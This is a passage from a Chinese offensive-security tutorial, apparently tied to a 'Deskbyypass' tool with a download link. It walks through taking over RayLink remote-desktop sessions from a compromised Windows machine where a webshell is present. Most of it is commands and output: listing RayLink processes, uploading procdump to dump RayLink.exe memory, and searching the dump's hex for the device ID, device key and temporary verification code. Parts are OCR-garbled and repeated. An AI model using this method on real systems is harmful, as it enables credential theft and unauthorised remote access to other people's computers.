

## I.3、RayLink安装版本

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项目地址: <https://github.com/RuoJi6/Deskbyypass>

博客: <https://vlog.taoyuan.cool/>

工具链接:

链接: [https://pan.baidu.com/s/1XdVkJAJU\\_Q9rD0PMiSDZFKQ?pwd=zdpm](https://pan.baidu.com/s/1XdVkJAJU_Q9rD0PMiSDZFKQ?pwd=zdpm)

提取码: zdpm

--来自百度网盘超级会员V4的分享

### 1、搜索RayLink进程ID

tasklist /v | findstr /i RayLink

```
E:\phpstudy_pro\WWW/ >tasklist /v | findstr /i RayLink
```

RayLinkService.exe	13264 Services	0	24,304 K Unknown	NT AUTHORITY\SYSTEM	0:00:00 暂缺
RayLinkWatch.exe	11352 Services	0	5,620 K Unknown	NT AUTHORITY\SYSTEM	0:00:00 暂缺
RayLinkCapturer.exe	9036 Console	1	14,700 K Running	NT AUTHORITY\SYSTEM	0:00:00 AVCapturer
RayLinkCapturer.exe	448 Console	1	14,112 K Running	NT AUTHORITY\SYSTEM	0:00:00 AVCapturer
RayLinkService.exe	10620 Console	1	12,228 K Unknown	DESKTOP-48IQAVS\123456	0:00:00 暂缺
RayLink.exe	576 Console	1	76,004 K Running	DESKTOP-48IQAVS\123456	0:00:23 RayLink

### 2、上传procdump, dump内存(此操作敏感, 这个文件本身是windows官方的)

procdump.exe -accepteula -ma ID

```
E:\phpstudy_pro\WWW/ 的目录
```

2023/10/26 15:49	<DIR>	.
2023/10/26 15:49	<DIR>	..
2023/09/21 22:49		32 1.php
2023/09/17 17:14	<DIR>	error
2019/09/03 14:30		2 307 index.html
2023/10/26 15:50		791,960 procdump.exe
2023/10/26 14:41		299 shell.php
4 个文件 794,598 字节		
3 个目录 29,170,266,112 可用字节		

```
E:\phpstudy_pro\WWW/ >
```

命令执行成功

```
E:\phpstudy_pro\WWW/ >procdump.exe -accepteula -ma 576

ProcDump v11.0 - Sysinternals process dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[15:53:40] Dump 1 initiated: E:\phpstudy_pro\WWW\RayLink.exe_231026_155340.dmp
[15:53:40] Dump 1 writing: Estimated dump file size is 199 MB.
[15:53:41] Dump 1 complete: 199 MB written in 1.4 seconds
[15:53:41] Dump count reached.

E:\phpstudy_pro\WWW/ >dir

驱动器 E 中的卷是 新加卷
卷的序列号是 1292-9D08

E:\phpstudy_pro\WWW 的目录
2023/10/26 15:53 <DIR> .
2023/10/26 15:53 <DIR> ..
2023/09/21 22:49      32 1.php
2023/09/17 17:14 <DIR> error
2019/09/03 14:30    2,307 index.html
2023/10/26 15:50    791,960 procdump.exe
2023/10/26 15:53  202,908,401 RayLink.exe_231026_155340.dmp
2023/10/26 14:41      299 snell.php
          5 个文件 203,702,999 字节
          3 个目录 28,967,354,368 可用字节

E:\phpstudy_pro\WWW/ >
```

... 个文件...

3、下载到本地使用010 Editor查看文件

先使用loggerupdate 和update config找到用户ID值，然后在搜ID值找到临时验证码

```
00h: 00 E4 05 00 00 11 00 00 00 00 11 0C 9B 17 77 00 .tDæU>...p.....
50h: 00 A0 E4 69 98 F7 7F 00 00 80 44 E6 55 9B 02 00 . äi"÷...€DæU>...
50h: 00 76 00 00 00 00 00 00 00 FA 00 00 00 00 00 00 .v.....û.....
70h: 00 5C 6F 67 67 65 72 75 70 64 61 74 65 20 63 6F .loggerupdate co
80h: 6E 66 69 67 20 7B 22 64 65 76 69 63 65 49 64 22 ntig {"deviceId"
90h: 3A 22 35 32 32 30 36 30 30 35 30 22 2C 22 64 65 : "522060050", "de
A0h: 76 69 63 65 4B 65 79 22 3A 22 4E 54 52 7A 32 36 vicekey : N1Rz26
B0h: 38 33 22 2C 22 64 65 76 69 63 65 46 69 78 65 64 83", "deviceFixed
C0h: 4B 65 79 22 3A 22 6B 57 33 71 49 4E 44 49 22 2C Key": "kW3qINDI",
D0h: 22 6D 69 72 72 6F 72 4F 72 45 78 74 65 6E 64 4D "mirrorOrExtendM
E0h: 6F 64 65 22 3A 30 7D 00 00 00 00 00 00 00 00 00 ode":0}.....
F0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
10h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
20h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
30h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
40h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
50h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
60h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
```

果

地址	值
已找到 1 个 'loggerupdate'.	
10D771h	loggerupdate

750h: 00 A0 E4 69 98 F7 7F 00 00 80 44 E6 55 9B 02 00 . äi~÷...€DæU>..  
 760h: 00 76 00 00 00 00 00 00 00 FA 00 00 00 00 00 00 .v.....û.....  
 770h: 00 6C 6F 67 67 65 72 75 70 64 61 74 65 20 63 6F .loggerupdate co  
 780h: 6E 66 69 67 20 7B 22 64 65 76 69 63 65 49 64 22 orig {"deviceId"  
 790h: 3A 22 35 32 32 30 36 30 30 35 30 22 2C 22 64 65 : "522060050", "de  
 7A0h: 76 69 63 65 4B 65 79 22 3A 22 4E 54 52 7A 32 36 viceKey": "NTRz26  
 7B0h: 38 33 22 2C 22 64 65 76 69 63 65 46 69 78 65 64 83", "deviceFixed  
 7C0h: 4B 65 79 22 3A 22 6B 57 33 71 49 4E 44 49 22 2C Key": "kW3qINDI",  
 7D0h: 22 6D 69 72 72 6F 72 4F 72 45 78 74 65 6E 64 4D "mirrorOrExtendM  
 7E0h: 6F 64 65 22 3A 30 7D 00 00 00 00 00 00 00 00 00 ode":0}.....  
 7F0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....  
 800h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....  
 810h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....  
 820h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....  
 830h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....  
 840h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....  
 850h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....  
 860h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....  
 870h: 00 00 46 E6 55 9B 02 00 00 06 00 00 00 00 00 00 ..FæU>.....  
 880h: 00 02 00 00 00 FF FF FF FF A9 49 B7 8A 02 56 3C .....yyyy@I·\$·V<  
 890h: 00 90 1D 00 00 00 00 00 00 00 00 00 00 00 00 00 .....

查找 文本: update config 全部(A) 选项(P) 75 70 64 61 74 65 20 63 6F 6E 66 69 67

结果

地址	值
已找到 3 个 'update config'.	
10D777h	update config
5D5EC2h	update config

搜索ID值

h: 00 00 00 00 00 00 00 00 00 0F 00 00 00 00 00 00 .....ššŽw>..  
 h: 00 00 00 00 00 00 00 00 00 0F 00 00 00 00 00 00 .....  
 h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 .....  
 h: 00 35 32 32 30 36 30 30 35 30 00 8D 57 9B 02 00 .š22060050..w>..  
 h: 00 09 00 00 00 00 00 00 00 0F 00 00 00 00 00 00 .....  
 h: 00 4E 54 52 7A 32 36 38 33 00 01 00 00 00 00 00 .NTRz2683.....  
 h: 00 08 00 00 00 00 00 00 00 0F 00 00 00 00 00 00 .....  
 h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....  
 h: 00 00 00 00 00 00 00 00 00 0F 00 00 00 00 00 00 .....  
 h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....  
 h: 00 00 00 00 00 00 00 00 00 00 4B 8F 57 9B 02 00 .....K.W>..  
 h: 00 70 9A 8E 57 9B 02 00 00 00 00 00 00 00 00 00 .psžw>.....  
 h: 00 0F 00 00 00 00 00 00 00 00 00 EB B3 E2 FF 00 00 .....ě³ây..  
 h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....  
 h: 00 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....  
 h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....  
 h: 00 00 EB B3 E2 FF 00 00 00 00 00 00 00 00 00 00 ..ě³ây.....  
 h: 00 00 00 00 00 00 00 00 00 0F 00 00 00 00 00 00 .....  
 h: 00 00 91 F1 55 9B 02 00 00 90 E9 56 98 F7 7F 00 ..'ñU>...ėV~÷..  
 h: 00 00 00 00 00 00 00 00 00 0F 00 00 00 00 00 00 .....  
 h: 00 B0 62 1C 99 F7 7F 00 00 20 62 E8 55 9B 02 00 .°b.™÷...bėU>..  
 h: 00 FF FF FF FF 00 00 00 00 00 00 00 00 00 F4 7F 00 .yyyy.....ô..  
 h: 00 F0 C9 90 57 9B 02 00 00 00 00 00 00 00 00 00 .đĖ.W>.....  
 h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....  
 h: 00 00 00 00 00 00 00 00 00 00 E0 44 91 57 9B 02 00 .....ād'W>..  
 h: 00 00 00 00 00 00 00 00 00 00 F0 AF 8E 57 9B 02 00 .....đ Žw>..  
 h: 00 00 00 00 00 00 00 00 00 00 A0 56 8F 57 9B 02 00 .....V.W>..  
 h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....λλΔΠ.

地址	值
已找到 3 个 '522060050'.	
3EC71h	522060050
10D792h	522060050
5D5EDDh	522060050



Hex dump view showing memory addresses and values. A red box highlights the value "522060050" in the hex dump.

结果

地址	值
已找到 3 个 '522060050'.	
3EC71h	522060050
10D792h	522060050
5D5EDDh	522060050

Hex dump view showing memory addresses and values. A red box highlights the value "522060050" in the hex dump.

查找结果

地址	值
已找到 3 个 '522060050'.	
3EC71h	522060050
10D792h	522060050
5D5EDDh	522060050

#### 4、连接

